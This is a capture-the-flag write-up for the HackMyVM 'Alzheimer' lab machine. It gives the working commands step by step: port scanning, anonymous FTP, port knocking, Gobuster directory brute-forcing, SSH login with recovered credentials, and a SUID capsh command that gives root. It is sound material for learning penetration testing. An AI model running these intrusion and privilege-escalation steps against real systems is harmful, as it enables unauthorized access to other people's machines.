# Alzheimer Write-Up
## Introduction
In this write-up, I will guide you through the steps I took to complete the HackMyVM - Alzheimer CTF challenge. The objective is to gain root access to the target machine by exploiting identified vulnerabilities. Checkout the video [here](https://www.youtube.com/live/vuARdrMIwI0?si=WMGQjf4pH2COS0OE) (to be updated).
## TL;DR
* [x] Run Nmap.
* [x] Checkout FTP server.
* [x] Knock mentioned ports.
* [x] Run Nmap again.
* [x] Checkout FTP server again.
* [x] Visit web page and URL found by Gobuster.
* [x] SSH login with found credentials.
* [x] Get user flag.
* [x] Checkout binary with SUID.
* [x] Refer GTFOBins.
* [x] Get root flag.
## Reconnaissance
### **Network/Port Scanning (Nmap)**
**Command:**
```bash
nmap -sV -sC -vv -oA alzheimer 172.16.101.89
```
**Explanation:**
* `nmap`: Tool used to scan network and ports to discover which services are running.
* `-sV`: Perform version detection of services.
* `-sC`: Scan using default scripts.
* `-oA`: Output in filename "alzheimer".
* `172.16.101.89`: IP address of Alzheimer VM on my network.
**Output:**
```
# Nmap 7.95 scan initiated Mon Oct 28 21:58:17 2024 as: nmap -sC -sV -vv -oA alzheimer -p- 172.16.101.89
Nmap scan report for 172.16.101.89
Host is up, received conn-refused (0.0055s latency).
Scanned at 2024-10-28 21:58:25 PDT for 4s
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:172.16.5.10
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp filtered ssh no-response
80/tcp filtered http no-response
Service Info: OS: Unix
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Oct 28 21:58:29 2024 -- 1 IP address (1 host up) scanned in 11.91 seconds
```
**Findings:**
We see that the following services are running:
* Port 21: FTP service with *anonymous* user login enabled.
* Port 22: An SSH server which I am assuming is for better shell access after we find the user password or private key.
* Port 80: An HTTP server.
But Port 22 and 80 are filtered, so that leaves us with investigating the FTP server. So let's check out the FTP server.
### File Sharing Server Enumeration
The Nmap output shows us that the FTP server has *anonymous login* enabled. Let's first try accessing the server using the `anonymous` user (blank password).
**Command:**
```bash
ftp alzheimer
```
We see that the server lets us in using the `anonymous` user. There is a hidden file in the server called *.secretnote.txt*, let's get it to our machine to inspect it.
**Command:**
```
get .secretnote.txt
quit
```
***Note:***** I changed the file name from *****.secretnote.txt***** to *****secretnote.txt***** so that it is not hidden on my file system.**
**Output:**
Now that we have a secret note lets read it.
```bash
cat secretnote.txt
```
**Output:**
```
I need to knock this ports and
one door will be open!
1000
2000
3000
```
The secret note tells us that we need to knock the given ports. [This blog](https://d00mfist.gitbooks.io/ctf/content/port_knocking.html) is a great resource to understand Port Knocking in the context of CTFs. As mentioned in the blog, we will use *knockd* to knock the given ports in the given order.
**Command for Port Knocking:**
```bash
knock 172.16.101.89 1000 2000 3000
```
You will not get any output for the command but according to the concept of Port Knocking, the *filtered* services should now be open. Let's start from the start with Reconnaissance.
### **Nmap Scan Again**
**Command:**
```bash
nmap -sV -sC -vv -oA alzheimer 172.16.101.89
```
**Output:**
```
# Nmap 7.95 scan initiated Thu Oct 24 00:54:05 2024 as: nmap -sC -sV -vv -oA alzheimer -p- 172.16.101.89
Nmap scan report for alzheimer.home.com (172.16.101.89)
Host is up, received syn-ack (0.0062s latency).
Scanned at 2024-10-24 00:54:05 PDT for 11s
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:172.16.5.10
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b1:3b:2b:36:e5:6b:d7:2a:6d:ef:bf:da:0a:5d:2d:43 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDs85YDBcxYDtBVawUlW6wndoVx691rVPkDX1AZvqf11RRhMsmwAg/1Du8YK/1ZSEmRXgHTvku0QEKNbRUxmFiD++cLKQEf9G23IjnauIX6oQHcY2mzeSHduiGzDvCNc0m6HhAODMWGbVoA77V63WSJ/bf1gC7JxxObyma0BNgeYbTQQUrMsHAsIr2cJhV19W5KL5Kq46jfYLTbFxnAs+qKC9vXAw6qaxy/1hHtc+iIhUNs5c/olTqWPPJ1gh0v6wthdeKb6BvyodbpMOhLOvZ6TPF3ZVaSmnZCAKxb6h7nbiOGroI65F+Cs0oWulVQYw+Bm7u2eZFLLQeWfMC5xUz5
| 256 35:f1:70:ab:a3:66:f1:d6:d7:2c:f7:d1:24:7a:5f:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNRlZlETQeEZ1ir3SKl9NFhI0TNnA+WtTRef7JwxnvOJ6ZbYjA3YvIMkUUriD9LbRPtEcAkAznKsszdMmmn1QeE=
| 256 be:15:fa:b6:81:d6:7f:ab:c8:1c:97:a5:ea:11:85:4e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIARsN37DwrXI1N7ruOs+QzaKlmXNmdVtID5/Qyi2SlvL
80/tcp open http syn-ack nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 24 00:54:16 2024 -- 1 IP address (1 host up) scanned in 10.86 seconds
```
**Findings:**
We see that the following services are running:
* Port 21: FTP service with *anonymous* user login enabled.
* Port 22: An SSH server which I am assuming is for better shell access after we find the user password or private key.
* Port 80: An HTTP server running Nginx.
Let's checkout each service as if we are looking at it for the first time. So we start with the FTP and in the background we can run `gobuster` to brute force web directories on the HTTP server.
### **File Sharing Server Enumeration**
The Nmap output shows us that the FTP server still has *anonymous login* enabled (so that has not changed). Let's access the server using the `anonymous` user again (blank password).
**Command:**
```bash
ftp alzheimer
```
This time there the same hidden file in the server called *.secretnote.txt*, let's get it to our machine to inspect it.
**Command:**
```bash
get .secretnote.txt
quit
```
Lets check if anything has changed in that note.
```bash
cat .secretnote.txt
```
**Output:**
```
I need to knock this ports and
one door will be open!
1000
2000
3000
Ihavebeenalwayshere!!!
```
A new line has been added to the note. i am not sure where we can use this, but lets keep it in mind and move forward with enumerating the other services.
### **Directory Brute-forcing (Gobuster)**
**Command:**
```bash
gobuster dir -u http://172.16.101.89 -w /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt | tee -a alzheimer.gobuster
```
***Note:***** I have setup an alias to run *****gobuster***** inside a docker container.**
Alias: `alias gobuster='docker run -it --rm --name gobuster -v /home/ayush/Tools/SecLists/:/SecLists ghcr.io/oj/gobuster'`
**Explanation:**
* `dir`: Mode of operation indicating directory/file enumeration.
* `-u http://172.16.101.89`: Base URL of the target web server to scan.
* `-w /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt`: Path of the word list to use.
* `-x php,txt,html`: Search for the PHP, HTML and TXT file extensions.
**Output:**
```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.16.101.89
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home (Status: 301) [Size: 185] [--> http://172.16.101.89/home/]
/admin (Status: 301) [Size: 185] [--> http://172.16.101.89/admin/]
/secret (Status: 301) [Size: 185] [--> http://172.16.101.89/secret/]
Progress: 882236 / 882240 (100.00%)
===============================================================
Finished
===============================================================
```
**Findings:**
The directories show 3 endpoints are available on the web server. Let's check them out.
### **Visiting Web Page (Port 80)**
First we visit the root URL of the web server `http://172.16.101.89/`.
This is interesting, it says the password was saved in a *.txt* file and the secret note we got from the FTP server was also a *.txt* file. We also get a username *medusa* from the message. So, maybe the extra line we got in the secret note is the password. We can try that after checking the other URLs.
We visit the `http://172.16.101.89/home/` endpoint.
We visit the `http://172.16.101.89/secret/` endpoint.
If the credentials we found don't work then we will have to enumerate the above 2 URLs for any deeper URLs we could find.
We visit the `http://172.16.101.89/admin/` endpoint.
The most promising URL gives us a 403 status.
## User (*medusa*) Access
Let's try the credentials on the SSH server.
**Command:**
```bash
ssh medusa@172.16.101.89
```
And insert the last line from the secret note as the password.
**Output:**
We see that the credentials work and we have shell access for the user *medusa*.
Read the *user.txt* file to get the flag:
```bash
cat user.txt
```
## Privilege Escalation
Using [HackTricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid) as our guide, we run the following commands to check for anything that can help with getting root.
```bash
sudo -l #Check commands you can execute with sudo
```
On checking *sudo* permissions, we see that all users can execute the */bin/id* binary with *sudo*.
There was no entry on [GTFOBins](https://gtfobins.github.io/) for the *id* binary. So this was just a trick by the creator of the box, as we can execute the *id* command with *sudo* and get the output saying the *id* is root but we won't really have any *root* access.
We move on to the next command mentioned in [HackTricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid):
```bash
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
**Output:**
We see that there is a */usr/sbin/capsh* binary that has the SUID flag set.
***Note:***** I initially did not know that usually *****/usr/sbin/capsh***** does not have the SUID bit set. So, I ran** [**linPEAS**](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS#quick-start) **and there it was highlighted that *****/usr/sbin/capsh***** having SUID is unusual.**
On checking [GTFOBins for *capsh*](https://gtfobins.github.io/gtfobins/capsh/#suid) we see there is a command we can use to get *root* access:
```bash
/usr/sbin/capsh --gid=0 --uid=0 --
```
**Output:**
And finally, we can read the root flag:
```bash
cat /root/root.txt
```
